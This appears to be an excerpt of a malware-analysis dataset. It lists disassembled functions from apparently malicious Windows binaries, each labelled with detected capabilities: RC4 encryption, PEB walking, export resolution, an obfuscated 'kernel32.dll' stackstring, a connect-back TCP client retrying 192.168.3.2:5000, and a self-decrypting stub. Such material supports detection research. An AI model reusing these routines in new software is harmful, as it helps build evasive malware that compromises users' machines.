joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10262810
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x102ca6a0], 0
mov byte [0x102ca6a4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x102ca69c], 0
mov dword [ebp - 0x1c], eax
jmp 0x1026285e
mov dword [0x102ca69c], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x10262898
mov eax, dword [ebp - 0x1c]
mov ecx, dword [0x102ca698]
add ecx, 0x1875
mov dword [0x102ca694], ecx
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x102ca69c]
add eax, 1
mov dword [0x102ca69c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1026285e
jmp 0x1026284d
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x102ca6a8], 0
mov dword [0x102ca694], 0xf66
mov edx, dword [0x102ca6a0]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x102ca6a8], edi
mov eax, edi
cdq
idiv ecx
mov dword [0x102ca6a0], edx
mov dword [0x102ca694], 0xae7
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x102ca6a4], cl
mov ecx, dword [0x102ca698]
add ecx, 0x3b4
mov dword [0x102ca698], ecx
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov dword [0x102ca698], 0x13f5
mov cl, byte [0x102ca6a4]
mov edx, dword [0x102ca6a0]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x102ca694]
add edx, 0x17fb
mov dword [0x102ca694], edx
mov edx, dword [0x102ca69c]
add edx, 1
mov dword [0x102ca69c], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10262898
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10262d20
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
mov dword [0x102ca694], 0x10f6
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x102ca698], 0x819
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10262dce
mov eax, dword [ebp - 0x14]
add esp, 0x30
pop ebp
ret
mov dword [0x102ca698], 0x61e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x10262e73
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x12], 0x64
sete dl
mov byte [ebp - 0x19], dl
mov al, byte [ebp - 0x19]
test al, 1
jne 0x10262e56
jmp 0x10262e73
mov eax, 1
mov dword [0x102ca698], 0x1617
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x14], eax
je 0x10262d60
jmp 0x10262e73
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], edx
je 0x10262e02
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, 0x104
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x24], ecx
jl 0x10262dce
mov eax, dword [ebp - 0x24]
mov dword [0x102ca694], 0x1447
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
jne 0x10262e73
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
mov dx, word [eax + ecx*2 - 0x18]
mov word [ebp - 0x2a], dx
mov ax, word [ebp - 0x2a]
cmp ax, 0x6f
jne 0x10262e73
mov dword [0x102ca698], 0x39e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x10262d68
jmp 0x10262e73
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff8
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x30]
cmp word [eax + ecx*2], 0x6c
je 0x10262da8
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10262d60
Function at 0x10263180
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
lea eax, [esp + 0x38]
lea ecx, [esp + 0x48]
mov dword [0x102ca694], 0x11b7
mov dword [esp], eax
mov dword [esp + 0x34], ecx
call fcn.102629a0
lea ecx, [esp + 0x48]
mov edx, dword [esp + 0x38]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x74], 0x133400
mov edx, dword [0x102ca680]
mov dword [esp + 0x70], edx
mov edx, dword [0x102ca684]
add ecx, 0x10
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], edx
mov dword [esp + 0x28], ecx
lea eax, [0x10263d70]
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
mov dword [ecx], edx
mov esi, dword [0x102ca688]
mov dword [esp + 0x9c], esi
mov esi, dword [0x102ca68c]
mov dword [esp + 0x7c], esi
mov esi, dword [0x102ca690]
mov dword [esp + 0x68], esi
mov dword [0x102ca698], 0x1181
mov dword [0x102ca694], 0x1c79
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
je 0x10263255
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
jmp 0x1026322a
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
mov dword [esp + 0x18], ecx
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x18]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
jne 0x10263239
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x48], eax
mov dword [0x102ca698], 0x61d
mov dword [0x102ca694], 0xfffff615
mov eax, dword [eax + ecx + 0x50]
mov dword [esp + 0x90], eax
call fcn.10262d20
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x102632f9
lea eax, [esp + 0x38]
add eax, 8
mov dword [esp + 8], eax
lea eax, [esp + 0x48]
mov ecx, dword [esp + 8]
mov edx, dword [ecx]
mov dword [esp], eax
mov dword [esp + 4], edx
call fcn.10262ee0
mov ecx, esp
lea edx, [esp + 0x48]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x102ca694], 0x10a4
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x102633f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov ecx, dword [0x102ca698]
add ecx, 0xffffe74f
mov dword [0x102ca698], ecx
mov dword [ebp - 0x10], eax
call fcn.10262250
xor ecx, ecx
mov edx, eax
mov dword [0x102ca698], 0x61d
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x10263448
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
xor eax, eax
mov dword [0x102ca694], 0x1f62
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
mov esi, dword [ecx + edx + 0x18]
cmp esi, 0
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], eax
je 0x1026349a
jmp 0x102634a5
mov al, byte [ebp - 0x31]
test al, 1
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x3c], ecx
jne 0x10263556
jmp 0x10263532
mov eax, dword [ebp - 0x30]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
mov ecx, eax
mov edx, dword [ebp - 0x4c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov bl, cl
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x55], bh
mov byte [ebp - 0x56], cl
mov byte [ebp - 0x31], bl
je 0x10263484
mov eax, dword [ebp - 0x54]
add eax, 1
mov cl, byte [ebp - 0x55]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x56]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dl, byte [ebp - 0x56]
mov byte [ebp - 0x31], dl
mov dword [ebp - 0x50], eax
jne 0x102634d1
jmp 0x10263484
mov eax, dword [ebp - 0x38]
add eax, 2
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov edx, dword [ebp - 0x2c]
cmp ecx, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
jb 0x102634b7
jmp 0x10263588
mov eax, dword [ebp - 0x3c]
movzx eax, word [eax]
mov dword [0x102ca694], 0xca2
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x1c]
mov esi, dword [ebp - 0x1c]
add esi, dword [ecx + eax*4]
mov dword [0x102ca698], 0x74f
mov dword [ebp - 0x30], esi
jmp 0x1026349a
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1026349a
Function at 0x10263630
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
cmp ecx, 0
sete dl
mov esi, dword [0x102ca698]
cmp eax, 0
sete dh
add esi, 0xfffff90b
mov dword [0x102ca698], esi
mov dword [0x102ca694], 0x20f7
and dl, dh
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov byte [ebp - 0x15], dl
mov eax, 0xffffffff
mov cl, byte [ebp - 0x15]
test cl, 1
mov dword [ebp - 0x1c], eax
jne 0x10263784
jmp 0x102636c4
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff8
mov dword [ebp - 0x1c], eax
jmp 0x10263784
mov ax, word [ebp - 0x22]
shr ax, 1
mov dword [0x102ca694], 0x3bf
movzx ecx, ax
cmp ax, 0
mov dword [ebp - 0x28], ecx
je 0x102637f0
jmp 0x102637f8
mov dword [0x102ca694], 0x90
mov dword [0x102ca698], 0x217f
mov ecx, dword fs:[0x18]
mov dword [0x102ca694], 0x8df
mov eax, dword [ecx + 0x30]
mov eax, dword [eax + 0xc]
add eax, 0x14
mov dword [0x102ca698], 0x1d98
mov ecx, dword [ebp - 0x10]
cmp ecx, 0
setne dl
mov esi, eax
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x2d], dl
mov dword [ebp - 0x34], esi
jmp 0x1026378f
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
jmp 0x10263784
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
mov dx, word [ecx + eax*2]
mov si, dx
add si, 0xffbf
mov di, dx
add di, 0x20
cmp si, 0x1a
mov dword [ebp - 0x44], eax
mov word [ebp - 0x46], dx
mov word [ebp - 0x48], di
jb 0x10263753
mov ax, word [ebp - 0x46]
mov word [ebp - 0x48], ax
mov ax, word [ebp - 0x48]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x44]
cmp word [ecx + edx*2], ax
sete bl
cmp ax, 0
sete bh
mov al, bl
xor al, 1
or bh, al
test bh, 1
mov al, bl
mov byte [ebp - 0x49], bl
mov byte [ebp - 0x4a], al
jne 0x10263828
jmp 0x10263802
mov eax, dword [ebp - 0x1c]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [eax]
mov edx, dword [ebp - 0x2c]
cmp eax, edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x38], ecx
je 0x10263717
mov dword [0x102ca694], 0x2360
mov eax, dword [ebp - 0x50]
mov cx, word [eax + 0x24]
mov dword [0x102ca698], 0x2445
mov edx, dword [eax + 0x28]
mov esi, dword [eax + 0x10]
mov edi, dword [ebp - 0x10]
cmp esi, edi
sete bl
mov bh, byte [ebp - 0x2d]
and bh, bl
test bh, 1
mov dword [ebp - 0x20], eax
mov word [ebp - 0x22], cx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x54], esi
jne 0x1026368d
jmp 0x1026369d
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x34], eax
jmp 0x1026378f
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1026371f
mov dword [0x102ca698], 0x1325
mov eax, dword [ebp - 0x44]
add eax, 1
mov ecx, dword [ebp - 0x28]
cmp eax, ecx
mov dl, byte [ebp - 0x49]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x4a], dl
jb 0x1026371f
mov al, byte [ebp - 0x4a]
mov dword [0x102ca694], 0x1966
test al, 1
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x38], ecx
jne 0x10263717
jmp 0x102637f0
Function at 0x102639d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, dword [0x102ca698]
add edi, 0x1b00
mov dword [0x102ca694], edi
mov dword [0x102ca69c], 0
mov dword [0x102ca6a0], 0
mov dword [0x102ca6ac], 0
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x10263b6d
jmp 0x10263a33
jmp 0x10263b6d
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], eax
jmp 0x10263a44
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov dword [0x102ca694], 0x13c0
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x102ca69c], edx
mov dword [0x102ca698], 0xfffffc39
mov ecx, dword [ebp - 0x1c]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x102ca6a0], edx
mov dword [0x102ca698], 0x17df
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x102ca6a4], cl
mov dword [0x102ca698], 0x1320
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x102ca6a4]
mov edx, dword [0x102ca6a0]
mov byte [edi + edx], cl
mov edx, dword [0x102ca694]
add edx, 0x6df
mov dword [0x102ca694], edx
mov edx, dword [0x102ca69c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x102ca6a0]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x102ca6ac], ebx
mov dword [0x102ca694], 0x1c96
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x2c]
mov ch, byte [edx + ebx]
mov dword [0x102ca698], 0xffffff80
xor ch, cl
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
mov edx, dword [0x102ca698]
add edx, 0x8ed
mov dword [0x102ca698], edx
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x10263a2e
mov eax, dword [0x102ca69c]
mov ecx, dword [0x102ca6a0]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], edx
jmp 0x10263a44
mov dword [0x102ca698], 0x2214
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10263de0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x9c
mov al, 0x6b
xor ecx, ecx
lea edx, [ebp - 0x6c]
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0x32
mov dword [0x102ca694], 0x1ef
mov dword [0x102ca698], 0x883
mov dword [ebp - 0x70], edx
mov byte [ebp - 0x71], al
mov dword [ebp - 0x78], ecx
jmp 0x10263f4c
mov eax, dword [ebp - 0x7c]
add esp, 0x9c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x84]
mov dx, word [ecx + eax*2]
mov si, dx
add si, 0xffbf
mov di, dx
add di, 0x20
cmp si, 0x1a
mov dword [ebp - 0x88], eax
mov word [ebp - 0x8a], dx
mov word [ebp - 0x8c], di
jb 0x10263ea1
mov ax, word [ebp - 0x8a]
mov word [ebp - 0x8c], ax
mov ax, word [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
cmp word [ebp + ecx*2 - 0x6c], ax
sete dl
cmp ax, 0
sete dh
mov bl, dl
xor bl, 1
or dh, bl
test dh, 1
mov dh, dl
mov byte [ebp - 0x8d], dl
mov byte [ebp - 0x8e], dh
jne 0x10264011
jmp 0x10263fdf
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x98], eax
jmp 0x10263f7a
mov dword [0x102ca694], 0x90
mov dword [0x102ca698], 0x217f
mov ecx, dword fs:[0x18]
xor eax, eax
mov dword [0x102ca694], 0x8df
mov ecx, dword [ecx + 0x30]
mov ecx, dword [ecx + 0xc]
mov edx, ecx
add edx, 0x14
mov dword [0x102ca698], 0x1d98
mov ecx, dword [ecx + 0x14]
cmp ecx, edx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x9c], edx
mov dword [ebp - 0x7c], eax
je 0x10263e4d
jmp 0x10263ee0
mov eax, dword [ebp - 0x78]
mov cl, byte [ebp - 0x71]
movsx edx, cl
mov si, dx
mov word [ebp + eax*2 - 0x6c], si
mov edx, eax
add edx, 1
mov cl, byte [ebp + eax - 0x2b]
cmp cl, 0
mov byte [ebp - 0x71], cl
mov dword [ebp - 0x78], edx
je 0x10263ef1
jmp 0x10263f4c
mov eax, dword [ebp - 0x98]
mov cx, word [eax + 0x24]
mov dword [0x102ca698], 0x2445
mov edx, dword [eax + 0x28]
mov dword [0x102ca694], 0x3bf
shr cx, 1
movzx esi, cx
cmp cx, 0
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x84], edx
mov dword [ebp - 0xa4], esi
je 0x10263fc5
xor eax, eax
mov dword [ebp - 0x80], eax
jmp 0x10263e5b
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x9c]
cmp ecx, edx
mov dword [ebp - 0x98], ecx
je 0x10264044
jmp 0x10263f7a
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [0x102ca698], 0x1325
mov ecx, dword [ebp - 0xa4]
cmp eax, ecx
mov dl, byte [ebp - 0x8d]
mov dword [ebp - 0x80], eax
mov byte [ebp - 0x8e], dl
jb 0x10263e5b
mov al, byte [ebp - 0x8e]
mov dword [0x102ca694], 0x1966
test al, 1
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xa8], ecx
jne 0x10264033
jmp 0x10263fc5
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x7c], eax
jmp 0x10263e4d
xor eax, eax
mov dword [ebp - 0x7c], eax
jmp 0x10263e4d
Function at 0x401250
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_socket]
push 6
push 1
push 2
call edi
mov ebx, dword [sym.imp.WS2_32.dll_htons]
mov esi, eax
mov eax, 2
push 0x1388
mov word [ebp - 0x14], ax
call ebx
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x10]
push eax
push str.192.168.3.2
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x401302
nop
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 6
push 1
push 2
call edi
mov esi, eax
mov eax, 2
push 0x1388
mov word [ebp - 0x14], ax
call ebx
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x10]
push eax
push str.192.168.3.2
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4012b0
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040179c
mov esp, ebp
pop ebp
ret
Function at 0x40203c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40207b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40207b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40207b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40207b
cmp dword [ecx + 0x74], 0xe
jbe 0x40207b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401c82
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
push ebx
push esi
push edi
and dword [ebp - 0x19c], 0
xor edi, edi
mov dword [ebp - 0x2a4], 0x19
mov eax, dword [ebp - 0x2a4]
or eax, eax
jl 0x401cc1
cmp eax, dword [0x4040e0]
jge 0x401cc1
cmp byte [eax + 0x4040e4], 0x5f
jl 0x401dd2
mov dword [ebp - 0x2a8], 0x13ae
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x2ac], eax
jmp 0x401d88
mov dword [ebp - 0x2b0], 0x520
mov eax, dword [ebp - 0x2b0]
or eax, eax
jl 0x401d07
cmp eax, dword [0x4040e0]
jge 0x401d07
movsx eax, byte [eax + 0x4040e4]
cmp eax, 0x8a
jg 0x401d7e
mov dword [ebp - 0x2b4], 0x10bd
jmp 0x401d55
mov eax, dword [ebp - 0x2b4]
or eax, eax
jl 0x401d2f
cmp eax, dword [0x4040e0]
jge 0x401d2f
cmp byte [eax + 0x4040e4], 0x3a
jge 0x401d67
mov eax, dword [ebp - 0x2b4]
or eax, eax
jl 0x401d4b
cmp eax, dword [0x4040e0]
jge 0x401d4b
cmp byte [eax + 0x4040e4], 0x56
je 0x401d67
add dword [ebp - 0x2b4], 0x267
mov eax, dword [ebp - 0x2b4]
cmp eax, dword [ebp - 0x2ac]
jge 0x401d67
or eax, eax
jg 0x401d13
add dword [ebp - 0x2b0], 0xffffff6c
cmp dword [ebp - 0x2b0], 0x62
jg 0x401ce6
sub dword [ebp - 0x2ac], 0x26c
mov eax, dword [ebp - 0x2ac]
cmp eax, 0x19bd
jle 0x401da1
cmp eax, dword [0x4040e0]
jl 0x401cdc
add dword [ebp - 0x2a8], 0xfffffd5d
cmp dword [ebp - 0x2a8], 0x57
jg 0x401ccb
add dword [ebp - 0x2a4], 0xe9
cmp dword [ebp - 0x2a4], 0xbd6
jl 0x401ca1
lea eax, [ebp - 0x104]
push eax
push 0x104
call sub.KERNEL32.dll_GetTempPathA
and dword [ebp - 0x198], 0
lea eax, [ebp - 0x198]
push eax
call sub.KERNEL32.dll_GetVersionExA
push 0
push 0
push 3
push 0
push 0
push 0x80000000
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_CreateFileA
mov ebx, eax
mov byte [ebp - 0x104], 0
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov dword [ebp - 0x2a4], 0x1de8
mov dword [ebp - 0x2a8], 0x134e
jmp 0x401ea0
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x2ac], eax
jmp 0x401e84
mov eax, dword [ebp - 0x2ac]
or eax, eax
jl 0x401e61
cmp eax, dword [0x4040e0]
jge 0x401e61
cmp byte [eax + 0x4040e4], 0x3d
je 0x401e96
mov eax, dword [ebp - 0x2ac]
or eax, eax
jl 0x401e7d
cmp eax, dword [0x4040e0]
jge 0x401e7d
cmp byte [eax + 0x4040e4], 1
jle 0x401e96
add dword [ebp - 0x2ac], 0x35
mov eax, dword [ebp - 0x2ac]
cmp eax, dword [ebp - 0x2a4]
jge 0x401e96
or eax, eax
jg 0x401e45
add dword [ebp - 0x2a8], 0x273
mov eax, dword [ebp - 0x2a8]
cmp eax, dword [ebp - 0x2a4]
jle 0x401eb6
cmp eax, dword [0x4040e0]
jl 0x401e37
sub dword [ebp - 0x2a4], 0x3d1
cmp dword [ebp - 0x2a4], 0x62
jg 0x401e2b
mov edi, esi
sub edi, 3
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx